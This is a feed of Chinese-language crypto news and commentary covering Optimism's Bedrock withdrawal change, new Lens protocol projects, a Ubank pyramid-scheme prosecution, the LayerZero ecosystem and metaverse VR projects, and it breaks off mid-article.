巨头，就只能停留在口号上了。 当 Web2 社交应用的取代者没有出现时，用户们或许只能等待 Web2 社交巨头的自我进化了。这不，Meta 来了，而谁也不能低估这种进化所带来的影响力。 如今，全球有超过 46.5 亿人使用社交媒体，而 Meta 就有 30 亿的用户群，占全球总用户的 65%。Meta、Twitter 等巨头不仅对 Web2 用户的社交需求了如指掌，同时也拥有强大的产品和技术团队，加上区块链或去中心化协议，对他们来说一点都不难。 颠覆与被颠覆，并不只存在于 Web2 与 Web3 略带对立性的立场中，事实上，这是属于整个互联网的历史规律。 谷歌在全球搜索引擎市场的垄断地位占据了 10 多年时间，但也无法阻止微软将 AI 引入 Bing 后重新定义搜索；Twitter 广泛占据着社交市场，但仍有 Facebook 与之分庭抗礼；新浪、搜狐、腾讯以门户网站自居多年，但依然无法阻挡今日头条改变人们获取信息的方式；哪怕是腾讯的 QQ，打败它的也不是别人，而是兄弟应用微信。 Damus 与 Mastodon 在去中心化社交时代里掀起了一朵浪，未来将会有更多实验性的 Web3 社交产品冒头。但 Web2 公司也从来不乏狼性，当 Web3 时代到来时，颠覆 Web2 社交应用的，也许还是巨头自己。 可以预见的是，在传统的社交媒体进入存量市场的低速增长期后，主张跨平台、开放性的 Web3 社交仍然是一片值得开发的富矿，毕竟，人类在线社交的刚需始终存在。  ( 5 min )
    OP Labs：Bedrock升级将为Optimism主网桥引入新的两步取款流程，可提高安全性
    PANews 3月23日消息，OP Labs在推特上表示，Bedrock升级将为Optimism主网桥引入一个新的两步取款流程，这将提高其安全性并使攻击更加困难。 L1 的新提款流程分为两部分：证明和最终确定。要从Optimism主网提取资金，用户必须在包含提款交易的L2区块的输出出现在L1上时立即提交取款证明。平均而言，此输出需要大约一个小时才能出现在以太坊上。一旦提交了提现证明，用户等待标准的7天结束窗口，然后用户才能在L1上完成提现。  ( 4 min )
    下一个“大毛”？速览Lens协议上值得关注的新项目
    原文：《潜在空投机会？一览lens协议上值得关注的新项目》 作者：Jaleel 距 BlockBeats 发布《Web3.0 创始人经济报告：CreatorFi 的发展现状和想象空间》已有数月，随着最近 Space ID 和 Arbitrum 的空投热潮，Les 协议的社区也愈加热络起来。不少人认为在 ID 和 arb 空投结束之后，下一个大空投就将是来自 AAVE 的 Les。lens 正在 Web3 上构建一个去中心化的完整社交网络图谱，有传言说将在 2023 年第二季度进行 Airdrop。除了社区比较熟知的 Lenster 、Lenstube、Phaver、Orb 以外，BlockBeats 还整理了一些在 Lens 协议上的新项目。 LensTags LensTags 是一个标签平台，旨在成为寻找由生态系统有机策划的详细、准确和高质量信息的首选。通过标签，用户将能够发现新资源并将它们组织到个人阅读列表中。LensTags 可帮助用户保存、创建、组织和分享在互联网上找到的所有精彩内容。在 Lenstags 上用户可以分享找到的所有最好的文章、视频和网站。 快速熟悉 LensTags 以及简化生活、从 Youtube 和 Twitter 等网站迁移现有书签并设置自动保存、通过使用 LensTags 的应用程序、扩展程序、公共页面或您网站上的嵌入式书签，且可以从任何地方访问。使用 LensTags，您可以提高个人组织能力并减少探索主题的时间。 Diverse Diverse 是一个用于构建、管理和发展社区的 web3 社交平台，专注于微型创作者经济并帮助创作者找到他们的受众。Diverse 旨在构建下一个 Reddit，用户和创作者可以轻松地增加他们的受众和粉丝。使用 Diverse 时，将基于 lens 协议的去中心化社会结构，用户的社交关系将保留在区块链上。可以出售任何东西，包括电子书、博客、矢量艺术、图形、3D 内容、电影和图像。 与 OnlyFans 类似，Diverse 将提供与社区互动的工具，例如投票、锦标赛、活动和会员专区。同时还可以将社区设置为可发现的或不可检测的，以及私有的或公共的，以及使用 NFT 创建的专属社区。 此外，Diverse 的 Head of Growth @usediversehq 称正在建立一种方法在 Lens 上做视觉化社交图谱，将在 Lens 上使用 BigQuery 数据库，实现交互圈和可视化的社交图谱。 Soclly SOCLLY 以创作者为中心，通过为创作者提供各种工具、空间和机会展现技能并赚取收益，同时用户还可以通过 SOCLLY 的链上声誉建立可信赖的数字声誉。 SOCLLY 强调将确保创作者的辛勤工作得到认可和公平的回报，通过链上评论告别虚假评论的混乱局面，创作者将得到诚实的反馈和真实的名声，通过触手可及的去中心化日历和链上可用性在 SOCLLY 上分享技能，同时还能与志趣相投的人建立联系并围绕创作者建立热情的社区。 Dumpling TV Dumpling TV 将 Lens 的精选内容用一种新的方式呈现：怪异酷炫，包裹着怀旧的氛围的电视机风格。用户可以在 Dumpling 上以新颖的视觉效果浏览频道和帖子、镜像、喜欢、收集和享受氛围，同时 Dumpling TV 现在支持用键盘的上下左右键换频道，用自己独特的风格和方式创建了一个很棒的应用程序来管理视频内容。 NFT Lens Garden NFT 本文档概述了该系列将于 2023 年 3 月 23 日推出，价格为 20 MATIC，用户将能够参与独特且身临其境的 NFT 体验，将他们在 Lens Protocol 生态系统上的活动与其 NFT 的价值联系起来。 Lens Garden NFT 系列是整个生态系统中的第一个动态 NFT 集合，即将在 Polygon 区块链上推出的 Lens Garden NFT 系列。Lens Garden NFT 系列是一种数字资产，旨在奖励在 Lens Protocol 生态系统中表现出高水平活动的用户。用户可以利用它来增强他们在 Lens Protocol 生态系统中的体验。铸造 NFT 后，用户可能会注意到它从高于级别 1 的级别开始。这是因为 NFT 与用户的 Lens 统计数据相关联，例如关注者和参与度。此外，Lens Garden NFT 系列不能在公开市场上交易。 Lens Garden NFT 系列的独特之处在于它试图激励用户为 Lens Protocol 生态系统的增长和可持续性做出贡献，而不是仅仅专注于 NFT 的创建和交易。该系列旨在鼓励和奖励 Lens Protocol 生态系统的积极参与，并将有助于在平台上建立一个更强大、更有活力的创作者和用户社区。 工具 目前，Lens 已经有了索引器，可以对数据进行快照并将其转换为关系型、超级易懂的数据库。这将加快查询速度以及如何使用 API 为所有 LENS 应用程序提供支持，数据保存到集中式 postgres 数据库中，并允许使用 graphQL API 查询它。 Lens 已将整个 Lens 社交图发布到公共 BigQuery 数据集。这意味着用户可以根据需要以任何方式批量查询所有数据。公共 BigQuery 数据集每月为用户提供 1TB 的配额。任何人都应该可以访问此信息，而无需编写复杂的索引器任务并设置所有基础设施。这是允许任何人在 LENS 之上构建自定义功能而无需 API 的第一步。而对于数据开发人员，使用公共 Lens Big Query 数据集可以在开放的 web3 社交图上构建算法。因此基于 BigQuery 数据集，lens 上新增了一些工具。 Lentics Lentics 是服务 Lens 创作者的分析工具，可分析创作者的粉丝数据、互动、收入等。Lentics 完全集成 Lens，提供了比较完整的数据，帮助创作者分析自己的账号增长。 Lens Share 由 @apoorvlathey 发布的 Lens Share 浏览器插件，可以直接搬运 tweet 到 Lens，Lens Share 添加了一个按钮，当用户打开推文时，推文中的文本和图像会在后台自动上传到 IPFS，用户只需在钱包中签署消息并批准 txn 即可将其发布到 Lens Protocol，另外还可以在发布前设置自定义收藏设置，实现将已经发布的推文并将其交叉发布到镜头。 其他工具 另外，edgeandnode 的数据科学家 rickydata 也基于 Big Query 做了一个预测未来数据的工具，可以根据用户的 Lens handle 过去数据预测粉丝增长量等各个数据的未来情况，目前仅有测试版。 其他 DeSchool&Booth DeSchool 是一个 Web3 原生教育工具。通过整合社交协议、推荐协议、安全协议和关于 X2E 的智能合约、灵魂绑定的证书、自动分配收入，重塑元空间教育系统。DeSchool 各方面都很均衡且出色，且目前正在加速集成更多的 Lens 功能。 DeSchool 基于 Lens Protocol 的链上简历工具 Booth 目前已经上线，支持一键链接 DeSchool 账号 + Lens 协议，数据互通；找到与共学同一课程的好友和同学，一键关注；基于结课凭证 SBT&Token、学习历程生成链上简历 + 个人能力图谱；根据兴趣，一键匹配好友组队共学。同时，Booth 将会根据当前地址和在 Booth 平台上所有已连接地址的可信链上教育和工作证明生成雷达图。 linkDOT linkDOT 将自己定位于 web3 人才的终极在线投资组合工具，现已上线 LensProtocol。通过 linkDOT，用户可以在一个地方记录所有经过验证的证书和工作证明，并让社区通过链上同行证明为用户的技能担保。现在通过集成 Lens 协议，用户可以通过创建尖端的产品组合来展示自己的工作证明和同行验证，从而将用户的 Web3 职业生涯提升到一个新的水平。 linkDOT 认为对于希望以真正突出的方式展示自己技能的用户来说，这种集成将改变游戏规则。用户可以使用 Lens 铸造自己的工作证明人才档案，并展示技能和成就，建立信誉并与潜在的合作者和组织建立联以获得下一份机会。linkDOT 目前正在进行测试版，之后将在将在 Lens Mainnet 上线，目前用户可以填写白名单表单申请进行测试。  ( 6 min )
    新沂市检察院对Ubank“炒币”骗局提起公诉，涉及传销交易量超100亿元
    PANews 3月23日消息，据徐州检察发布官方微信公众号，江苏省新沂市检察院以涉嫌组织、领导传销活动罪对“Ubank”虚拟货币资金盘一案依法提起公诉，“U币”全称为“Ubank”虚拟货币交易平台，办案中发现，该平台团队注册使用人数超10万人，涉及传销交易量超100亿元。法院一审作出有罪判决，33名被告人分别被判处二年到六年不等的有期徒刑。由于被告人提起上诉，目前，该案正在二审审理中。 与此同时，新沂市检察院开展追赃挽损工作，全力配合公安机关开展证据审查，对各被告人投资获益的资金及“Ubank”以投资名义转移的资金及时予以查扣，共计追赃挽损8000万元。此外，还引导侦查机关落实了与“Ubank”签约的10余家合作公司，再次追缴赃款上缴国库。  ( 4 min )
    LayerZero生态扫描：存在哪些早期参与机会？
    原文：《另辟蹊径：优选空投项目 Layer0 生态研究》 作者：RPB 编译：Biteye 核心贡献者 Crush LayerZero 最近处理的消息已经达到了 200 万，同时，越来越多的项目开始集成 LayerZero，Omnichain（全链）生态系统正在大规模增长！ 今天这篇文章，就让我们来详细介绍一下 LayerZero 的工作原理和哪些项目已经集成了它！ 它是一种轻量级的消息协议，允许开发人员和用户在多个区块链之间无缝地与智能合约交互。 02、工作原理 开发人员在多个链上部署合约。在链 A 上提交了一笔交易，该交易构建了一个结果消息，传递给链 B 上的合约，然后合约与 LayerZero 的端点进行交互。 （译者注：LayerZero 端点目前作为 LayerZero 网络中每个链上的智能合约的一部分。LayerZero 端点的核心功能被封装在三个模块中：通信、验证和网络。这些模块的工作方式类似于网络堆栈，消息在发送方的堆栈中向下发送——通信器到验证器到网络，然后在接收方的堆栈中向上发送。） 接着，应用程序选定的 Oracle（预言机）和 Relayer（中继器）将检索相应的区块头和交易证明，他们等待 A 链上指定数量的区块确认后，独立地将各自的信息传送到链 B。 在链 B 上，这些片段通过 Validation（验证）/Proof Library（证明库）进行验证，最后通过发送消息合约到链 B 上交付。 这听起来是不是很酷呢？如果你对他们的技术感兴趣，可以在下面的链接中阅读更多。 Stargate Finance 我们从 LayerZero 上最大的协议 @StargateFinance $STG 开始。Stargate 是一个完全可组合的流动性传输协议，允许用户和 dApp 在跨链的同时访问统一的流动性池，实现 Instant Guaranteed Finality。 （译者注：Instant Guaranteed Finality 是指当用户和应用在来源链上成功提交交易时，可以相信该交易会准确地被传递到目的地链上并被确认。） 下文中有些描述的项目与 Stargate 合作，而不是与 LayerZero 本身合作。 Stargate 目前是整个 Omnichain 生态系统的核心。自 2022 年 3 月推出以来，它的总交易量已经达到了 50 亿美元，4.6 亿美元的 TVL（巅峰时期高达 41 亿）和 1.8 亿美元的 STG 市值。 RDNT Capital $RDNT 是在 LayerZero 上的一个全链协议。它允许用户在多个区块链之间无缝存款和借款，拥有 1.27 亿美元的 TVL 和 6700 万美元的代币市值。 Radiant 在上个月的 TVL 涨得非常快（增长了 150％）。他们正在推出 Radiant V2，这可能会成为最赚钱的 DeFi 协议，并吸引更多的用户。 Rage @Rage_trade 正在致力于构建流动性最好的 ETH 永续合约，并提供高达 5 倍的杠杆。 他们计划从其它链（目前为 500 亿美元）回收流动性，以增加其 ETH perp 的流动性和收益，并且也是使用了 LayerZero 的跨链消息协议，当前 TVL 为 1600 万美元。 USDC USDC 现在已经原生地支持跨链交易，一个由 @LayerZero_Labs 与 @circle 合作推出的真正原生的多链稳定币。 用户现在可以在单个交易中与多个区块链上的 dApps 交互，只需在一个区块链上拥有$USDC 即可。 使用下面的地址进行体验： https://usdcdemo.layerzero.network Joe @traderjoe_xyz $JOE 是基于 Avalanche（并上线了 Arbitrum）上的主要的 DeFi 平台，具有 1.1 亿美元的 TVL 和 8900 万美元的代币市值。 他们宣布与 Stargate 合作，并整合了 OFT 标准，以创建真正的全链 DeFi 协议$JOE。 （译者注：OFT 全称为 Omnichain Fungible Token，OFT 作为一个标准，允许在不同的区块链之间转移资产，并且仍保持与原始链上的价值一致。OFT 标准的引入使他们可以创建一个真正本地化的多链 DeFi 协议，让资产能够在不同的区块链之间进行快速和高效的流通和交易。） Hashflow $HFT 是为互操作性、零滑点和 MEV 保护交易而设计的 DEX。 Sushi Swap $SUSHI 是不同 DeFi 工具（主要是 DEX）的生态系统。 WOO Network $WOO 是一个大型的 CeDefi（集中式去中心化金融）生态系统，它将交易员、机构、交易所以及 DeFi 平台连接起来。 Pancake Swap $CAKE 是 BNB 链上最大的 DEX，目前也成为了多链生态的成员。 Angle Protocol $ANGLE 是一个 DeFi 产品，支持创建和交互 agEUR——一种去中心化、超额抵押的欧元稳定币。 Pontem Network @PontemNetwork 是 Aptos 上的第一个 AMM（自动做市商）。 05、使用 LayerZero 的 NFT 与 GameFi LayerZero 也为 NFT 和 GameFi 带来了许多新的机会，让我们看看主要项目。 OmniX @OmniX_NFT 是第一个原生支持全链 NFT 的平台，用户可以在任何链上购买或者出售 NFT。 Ominix 拥有 4500 个 Genesis ONFT（全链 NFT），其中 Greg 系列持有者将能享有更多的权限和其他特权，它们在 7 个不同的区块链上进行 Mint，现在的价格为 0.11 ETH。 OmniX 推出了 @Omni_Elements 并且仅对 Greg 持有者免费开放，同时还推出了 OmniX 的激励型公测。 HoloGraph @holographxyz 是一个基础设施项目，通过他们提供的服务，用户可以在一个平台就完成创建、部署、Mint 和跨链 NFT 的操作。 Pudgy Penguins 最大的全链 NFT 收藏品是 @pudgypenguins。这是存储在以太坊链上的 8888 个企鹅 NFT，地板价为 5.75 ETH，现在与 layerzero 合作，使得这些 NFT 可以在多个公链之间任意转移。 Gh0stly Gh0sts @gh0stlygh0sts 是 LayerZero 上第一个的全链 NFT，总量 7710，目前地板价为 0.138 ETH。 06、一些需要注意的项目 @cedro_finance 是一个跨链去中心化流动性协议，用户可以在多个链上进行借贷，目前尚未发布； @InterSwap_io 是一个具有统一流动性的跨链 AMM，目前尚未发布； 07、宣布与 LayerZero 集成的项目 @VenusProtocol——$XVS 是 BNB 链上领先的借贷协议，有 8.35 亿美元的 TVL； @Coredao_Org——$CORE 是一条利用了比特币挖矿技术原理和 EVM 原理的图灵完备区块链； @ClearpoolFin——$CPOOL 是一个加密货币借贷平台。 最后，LayerZero 还在最近推出了首个 Testnet 和 Mainnet 之间的跨链桥。用户可以通过交易 Goerli 测试网的 ETH 获得主网的 ETH。 LayerZero 是一种轻量级的消息协议，可让开发人员和用户在多个区块链之间轻松与智能合约进行交互。大量的 DeFi 项目都已经集成了 LayerZero，包括 Stargate、RDNT Capital、Radiant、Rage 等。 LayerZero 还扩展到了 NFT 和 GameFi 领域，在多个公链上实现了 NFT 的跨链交易。此外，LayerZero 还推出了首个 Testnet 和 Mainnet 之间的跨链桥。 当我们体验上述协议的时候，最后需要注意的是，在跨链协议的发展历史上，该板块是受到黑客攻击最多的板块之一，跨链的安全性一直是整个区块链仍待解决的议题之一。 而对于 LayerZero 全链底层协议来说，其安全性构建在 Orcle 与 Relayer 不作恶的基础上，这是具备一定风险的，并且目前已有人提出随着搭建在 LayerZero 上的应用协议越来越多，也会增加应用协议本身在 LayerZero 默认配置下的预言机和中继器被修改从而使得安全性降低的风险，但目前还并未有这样的现象出现。 因此面对全链协议的未来发展，我们应当抱有这样的态度："每个应用都应该被认为是有风险的，直到证明不是这样。”  ( 7 min )
    以Highstreet、MixVerse 和 Ceek为例，展望下个牛市的元宇宙赛道（上篇）
    【导读】本篇文章探讨了 VR 元宇宙的现状和问题，重点分析了 Highstreet、MixVerse 和 Ceek 三个项目，分别比较了它们在实现难度、实现速度和技术难度上的差异，同时也为读者提供了有关 VR 元宇宙细分板块的深入分析，以及对其未来发展的展望。 元宇宙赛道曾经是上一轮牛市中的“夜空里最闪亮的一颗星”： 玩家们在多刷几遍《头号玩家》后，激动地畅想五年内就可以穿戴着 VR 黄金套装，挥舞着光剑互砍； 投资者们看着 Animoca 旗下的 Sandbox 价格从 2021 年初的 0.05 U，到了年底直接冲到 8 U，一年之间 160 倍的涨幅，令人血脉喷张； 最后的疯狂出现在 2021 年 10 月底，Facebook 改名为“Meta”，官宣今后将以本尊进入元宇宙作为主攻方向，全市场沸腾。这则消息后的第 10 天，2021 年 11 月 10 日，BTC 大饼价格接触到了历史最高点 69000 U，Meta 的股价也突破了 350 U，整个加密圈和投资圈在狂欢在咆哮。 然而历史规律总是不断重演，辉煌到顶点就离崩塌不远了，2021 年年底之后加密圈就进入了漫漫熊市，直至今天。去年 10 月的一篇报道揭露了“元宇宙骗局”：Meta 主导的元宇宙场景 Horizon Worlds 只有 9% 的场景访问人数达到或超过 50 人，绝大多数都无人问津；加密圈内两个元宇宙项目龙头 Decentraland 和 The Sandbox，日活跃用户分别为 38 位和 522 位，而这两个数据对应企业的估值均为 13 亿美元左右；然后头条直接砍掉了元宇宙项目“派对岛”。 是元宇宙出了什么问题吗？肯定不是嘛，小扎又不傻的，另外 Roblox《我的世界》每年还是持续五六亿美元的收入，DAU5000 万左右，挺漂亮的成绩单。 主要还是这个赛道太过早期，基础设施太落后，叙事又过于庞大，可以发展的分路径太多，让人觉得无从入手。而 Roblox 能成功，就是提早找到了细分切入点：主打小朋友的益智和社交，而开发智力这个逻辑，家长们是没理由反对的。 目前元宇宙的窘境，就类似二十多年前个人电脑刚普及的时候。一台 486 电脑价格就是普通家庭一年的工资，上网还要通过固定电话链接“猫”去拨号，普通用户用的最多的就只能是浏览新闻网页和收 email，我印象非常深刻的就是当时纸媒的一些观点：新闻，报纸不能看吗？邮件，写信不也可以吗？如果因为初期的使用体验和实际价值不行，就放弃了家用电脑，很可能就错过了整个互联网大潮。 未来的发展是存在于魔鬼一般的细节中的。我还记得一个家境较好的同学是如何搞定了父母，入手了一台 486 电脑的：一开始家里肯定是不让买的，“知道你买电脑就是为了玩游戏！而且还这么贵！什么学编程？学校的机房不能学吗？自己看书不能学吗？”于是该同学就在暑假向好基友借了一台电脑玩三天，就放在大厅里，白天假模假样的学编程，中间休息时玩扫雷，还教爸妈怎么玩。结果第一天夜里凌晨他睡醒了后，透过门缝偷偷看到大厅里他爸妈还在进行扫雷 PK 大赛…几天后，一台新的电脑就成了他家的新宠。 元宇宙也是这样，新一代的小朋友们是玩着 Roblox《我的世界》长大的，对于 UGC，对于游戏内的社交是有路径依赖的。几个小朋友互相串门聚会的时候，戴着 VR 玩游戏已经是常态。云宇宙之于新生代，就类似二十年前的扫雷之于电脑新玩家。所以我的判断是元宇宙赛道没问题，目前就是基础建设没有跟上而已，再发展五年到十年后，赛道内的场景发展会超出大家的想象。 但是一位伟人好像说过“五年十年太久，只争朝夕”，嘿嘿。我们韭菜就喜欢当天买，当天拉十倍的奇迹故事，虽然这场景可能只会出现在梦境中，但如果在熊市布局，等到牛市来临，拉个十倍还是有可能的。本着为了下个牛市做准备，我们站在玩家的立场，对元宇宙赛道做个简单的梳理和分类，看看哪些是值得关注或者埋伏的，我就不相信元宇宙赛道到了明年还是只有 Sandbox 和 Decentraland。 （一）Meta 代表的 VR 派 玩家对于这个类别的元宇宙玩法，共识是最强的，也是扎克伯格力押的赛道，就是通过硬件驱动赛道的发展。 可惜目前还属于青黄不接的阶段：Meta 内部的元宇宙硬件板块 Reality Labs 在 2022 年共亏损了 137.2 亿美元，与上一年的亏损 101.9 亿美元相比，还扩大 35%，啧啧，小扎是真的猛砸钱啊。 Reality Labs 就是卖 VR 设备 Quest 的。一个高端的 Quest pro，卖 1500 美元，太贵了，而且 Horizon Worlds 里的场景玩着就腻了，导致老玩家的留存率每年都在下降，超过一半的 Quest 用户在购买该产品 6 个月后，就扔到一边沾灰了。 砸了几百亿，咬着牙也要坚持下去，小扎前段时间给 Meta 引入了两个新玩意儿：AI“发现引擎”和短视频功能 Reels。后面期待 Meta 的 AI 和元宇宙的结合吧。 目前加密圈的元宇宙 VR 项目，我们找到了三个代表： High Street Mixverse Ceek 分别阐述下： 案例 A：Highstreet Highstreet 最耀眼的市场表现当属今年年初那一波狂涨。1 月 30 日，Binance 的老大 CZ 在 AMA 谈及将投资 VR 或元宇宙游戏时表示，目前更倾向于投资其他虚拟现实或元宇宙游戏，而 Highstreet 当时以与周杰伦合作的营销方式，搭上了这波顺风车。 1 月 30 日 CZ 喊单的当天，HIGH 代币就从 1.3 美元直直的拉升到了 3.6 美元附近，接近 3 倍的涨幅；第二天热度降温，代币降到 2.6 美元，谁知又来一个王炸，周杰伦正式与 Highstreet 签约，又是硬生生的把下跌通道的代币拉回到了 3.6 美元附近。在随后的一周时间里，代币价格一直在 3-4 美元直接徘徊，最高触及 4.5 美元左右。 Highstreet 究竟是一个什么样的产品，有什么资本能够一炮走红，成为 VR 元宇宙赛道的宠儿？ 我们先来看看创始人和融资背景。Highstreet 的母公司叫 Lumiere VR，由加拿大华裔、创始人兼 CEO Travis Wu 和联合创始人 Jenny Guo 共同创立于 2015 年，主要从事物理场所 VR 货币化、SDK 开发以及 VR 数据分析，团队核心成员来自 DeFi、VR 和艺术领域，曾任职于麦肯锡、苏富比等公司。团队看起来是有不错的专业背景。 项目有过三轮主要融资，第一轮是在 2021 年 6 月完成的 500 万美元融资，由 Mechanism Capital、NGC Ventures、Palm Drive Capital、Cherubic Ventures、Jump Trading、GBV、Panony 和 Shima Capitl 领投，第二轮是 Binance Labs 和 Animoca Brands 的 200 万美元的战略融资，第三轮是 Crunchyroll、Twitch、Kabam、Rotten Tomatoes、Fitbit 的战略投资。抱了大腿的项目就是不一样，融了三轮资，特别是第二轮傍上了币安和 Animoca，资本运作和平台加持都是杠杠的，完全有能力翻手为云覆手为雨，签下周杰伦这样的大咖也不足为奇。 Highstreet 是要打造一个怎样的元宇宙世界呢？简单的理解就是开放世界 MMORPG+Shopify，大俗话说就是一个电商元宇宙。 Highstreet 的 NFT 都是以 Phygital 形式发行，也被称为实体数字化 NFT。游戏玩家可以将他们在链上购买的商品，兑换成链下的实物，在加密世界做到 O2 O。这种模式对于品牌来说，可以将现有产品变成了游戏资产，助推了品牌营销；对于玩家来说，将游戏内购物带入现实世界，模糊现实与虚拟的边界，玩家也因信服度高的体验，提高了在元宇宙的沉浸感。后续据说平台也会接入亚马逊等电商平台，成为真正的元宇宙界的电商入口。 但我们认为，这些传统的电商巨头也不会坐以待毙，等 VR 技术发展到一定成熟度，电商巨头们也一定会开发自己的元宇宙电商版本，到时候 Highstreet 如何直面巨头竞争，是个巨大的不确定性。这几天亚马逊爆出消息要出 NFT 了，这应该是前期探路吧，不知道 Highstreet 会不会借机炒作一波。 Highstreet Market 是 Highstreet World 兑换限量版产品的市场，每件物品都有一个实物等价物。Highstreet Market 会运用联合曲线（Bonding Curve，类似于 AMM 自动做市商）确保商品的流动性，在自动价格发现机制下，物品的价格将随着每次购买而浮动。联合曲线始终确保有对手盘，同时，品牌可自定义专属联合曲线，以此激励更多交易或线下产品兑换。 当前 Highstreet World 由 Highstreet City、Binance Beach、AVAX Alps、Asteroid 325、Animoca Archipelago 和 Republic Realm 六个可探索的地区组成，主要玩法包括升级、购置房屋、游戏战斗、驯养宠物 NFT 等多种活动。据说币安会在游戏里建立 Binance Beach 海滩，提供币安平台的各种服务和 DeFi 产品。Animoca Brands 也将为项目引入众多知名项目和品牌，扩大其元宇宙的影响力。 经济模型方面，Highstreet 采用的是 HIGH 和 STREET 双代币模型。母币 HIGH 主要用途包括质押、平台治理（创建提案和投票）及游戏内交易（房地产或限量版产品），Token 总量上限为 1 亿，现流通量为 3300 万枚。目前 High 已经上线 Binance、Coinbase、Crypto.com 等平台，DEX 用户则可选择在 Pancakeswap 和 Uniswap 上进行交易。子币 STREET 是游戏内 Token，无固定上限，会随着玩家增加和游戏进度适当的通货膨胀。玩家可以通过猎杀怪物、完成任务、寻宝活动等活动获取，或用母币 HIGH 兑换。 Highstreet 看上去确实是一个光鲜亮丽的仔，各方面看上去都是优等生，我们所强调要有的第二层叙事“元宇宙电商”也比较性感。但是是否真的是一条现阶段元宇宙的最高效的发展路径？带着 VR 头盔买东西，和直接在淘宝京东亚马逊上手指点击买东西，到底有多大的体验差异？各个品类，成千上万的品牌要完成元宇宙商品的展示与改造，将会是一条漫长、费时的道路，Highstreet 是否真能跑赢这场马拉松？ 我想以上的几个问题，在项目的时间表完成度上已经揭示了一些答案。记得去年初的时候看到项目方热情满满的说 2022 年将是产品丰收年，制定了如下宏伟的上线计划： 然而，看了一下官网，至今能体验只有一个网页版的室内空间，没有人物皮肤，没有太多互动功能，玩起来还很卡。瓜友们去体验下，反正我们体验后的感觉是落差感很大，各种背景各种利好，目前就这？嘿嘿，那只能再等等吧。 Highstreet 项目 2022 年计划 案例 B：MixVerse 最早注意到 MixVerse 是去年 11 月初项目开始 Mint Pass 卡的时候。因为那时候是深熊时节，各个板块的交易都不活跃，NFT 市场如一潭死水，难得有看到项目能逆熊市而上，勇敢发 NFT 的。 我们韭菜嘛，还是看价格。今年 2 月份开始，看到项目方又开始有些频繁的动作，价格波动得厉害，于是开始深入研究起了这个项目。最近两周项目 Pass 卡价格上下起伏，从 2 月份启动前到 3 月初，Pass 卡地板价从 0.01 e 拉到过接近 0.1 e，但最近价格又有下跌，可能也跟 Blur 开始取消双倍积分，并清理庄家有关。下个月项目会 Mint 土地 NFT，并正式开放游戏公测，不知道还会不会有一波行情，值得进一步关注。 与 Highstreet 不同，MixVerse 没有光鲜亮丽的投资背景和明星的加持。从几次 AMA 了解到，这个项目是一个坚持做了好几年的 WEB2 VR 游戏团队搞的。他们将致力打造 VR 游戏元宇宙平台，通过开放生态、分发平台等，为游戏提供充足的流量支持，并实现整个游戏元宇宙生态的建立。 MixVerse 团队已经开发出了几个 VR 小游戏，核心成员曾经开发过的奇幻滑雪 3（在 Pico 等商店有上架），也会以进化升级的形态整合到 MixVerse 的元宇宙游戏平台。未来项目也会将其他已经开发完成的 VR 小游戏放到平台上，并邀请更多的开发团队来平台上发布游戏。 MixVerse 团队从 2016 年就开始做 VR 了，有 8 年的 VR 游戏开发经验，上次在 Binance Live 的专场 AMA 里就邀请了很多 VR 行业的专家和学者。奇幻滑雪系列曾是 Steam VR 体育品类下载量第一，全球累计下载量近三百万套，曾在北京冬奥会上作为官方游戏发表的。 主要团队成员主要来自于美国、香港和中国大陆，有不错的国际化背景，CEO David 经常出现在 AMA 里。根据项目官方去年 11 月披露的信息，MixVerse 完成了第一轮融资，投资机构不著名，项目估值是 2000 万美金。 MixVerse 想要打造的是一个什么样的元宇宙世界？除了上文提到的各类平台游戏的嫁接，MixVerse 主世界也有自己的一套游戏主线。玩家将围绕生存、职业发展、建设、协作与竞争等元素展开游戏，可以在土地上建设家园，共建社区，形成各类议会、协会与行会，并进行寻宝、贸易、竞争等内容。游戏初期还是以 PGC 为主，中期将引入更多第三方开发团队，逐渐走向 PUGC，最后通过完善地图编辑功能，实现真正的 UGC。 根据官网公布的信息，游戏第一个对外开放的大陆名叫 Edenia（自由大陆）。根据测试视频来判断，项目游戏的成型度已经很高，已经搭建了几个主要场景及核心游戏，包括 MixVerse 元宇宙步行街（Pedestrian Street）、滑雪游戏、酒吧、会议厅、展览厅等。 代币模型方面，MixVerse 也将采用双代币模型，Mix 作为母币，是通缩的治理代币，而子币 Chaos 是无限增发的流通代币。目前两种代币都未上线，所以该项目还算早期。 对于玩家来说，一套普通的 VR 设备 300-500 U 左右，整个项目模型还是有点重。所以项目方还同步研发了 H5 版本的游戏，用手机就能玩，其中的夜店玩法目前就能在官网体验（是可以撸白的）。这样的多端设计，可以方便玩家们随时随地通过各种设备登录 MixVerse 元宇宙。 对比 Highstreet，MixVerse 更像是一个从 WEB2 的 VR 游戏平台，拓展到元宇宙世界的项目。我们把这个项目拿出来做案例，是因为目前 WEB3 的元宇宙赛道里能有具体场景让玩家去玩的，太少了。大部分就是搞一个展示平台，大家进入后跑来跑去地参观或做任务。而 MixVerse 可玩的游戏已经基本成型，目前有夜店玩法，后续有滑雪场景。和用网页元宇宙画大饼的 Highstreet 来对比，Mixverse 产品的完整度来说会更胜一筹。 当然我们最担心的一点就是，WEB2 的团队进入到 WEB3，运营和市场推广等方法等能入乡随俗地学会吗？毕竟我们见过一些优秀的 WEB2 团队用着旧打法，在 WEB3 试水就沉掉的案例。 案例 C：Ceek 最近在梳理 WEB3 的元宇宙 VR 赛道的过程中，又发现了另一位选手 - Ceek。CEEK 是一家致力于搭建 AR/VR 穿戴设备的公司，同时也是一个虚拟现实体验的分销商和媒体平台。艺术家根据 CEEK 穿戴设备搭载的区块链平台资源共享专辑或是音乐，也可以通过 CEEK 建立 VR/AR 工作室，建立受众喜爱的品牌内容。基于 ETH 的智能合约，用户可以在平台内灵活打赏、投票、参与赛事、进行虚拟物品的买卖。 CEEK 汇集了全球音乐、体育和娱乐领域的知名人物，世界级合作伙伴包含环球音乐，Apple 和 T-Mobile 等，因为其明星效应，项目在币圈中的知名度还算比较高。CEEK 使内容创作者能够通过虚拟流媒体平台获得专利并将作品货币化，以覆盖世界各地的观众。CEEK 为音乐艺术家和创作者打开了新的收入来源，提供了一种直接接触他的粉丝团并从中获利的全新方法。 看了一下平台官网，除了音乐相关 VR 头盔和耳机等硬件的销售，还有大量明星直播视频，还有土地销售，动辄几个 ETH 的价格，妥妥的奢侈品售价。可能这就是明星效应，让大家能在 Ceek 的虚拟世界中与明星成为邻居的诱惑真的很大。 可以说 Ceek 